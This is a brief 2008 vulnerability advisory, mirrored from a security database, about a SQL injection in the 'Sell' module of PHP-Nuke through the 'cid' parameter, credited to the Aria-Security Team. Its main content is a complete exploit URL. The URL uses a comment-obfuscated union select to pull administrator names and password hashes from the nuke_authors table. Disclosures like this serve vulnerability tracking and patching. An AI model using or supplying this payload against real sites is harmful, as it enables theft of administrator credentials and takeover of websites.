Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19273
HistoryFeb 26, 2008 - 12:00 a.m.

Php Nuke "Sell" module SQL Injection ("cid")

2008-02-2600:00:00
vulners.com
18

Aria-Security Team (Persian Security Network)
http://Aria-Security.Net

Shoutz: Aura, imm02tal, Kinglet, iM4n
Php Nuke "Sell" module SQL Injection ("cid")

modules.php?name=Sell&d_op=viewsell&cid=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect//0,aid,pwd,pwd,4//from+nuke_authors/*where%20admin%201%200%202

Original Adivosry:
http://forum.aria-security.net/showthread.php?p=1475

Regards,
The-0utl4w
Credits Goes to Aria-Security Team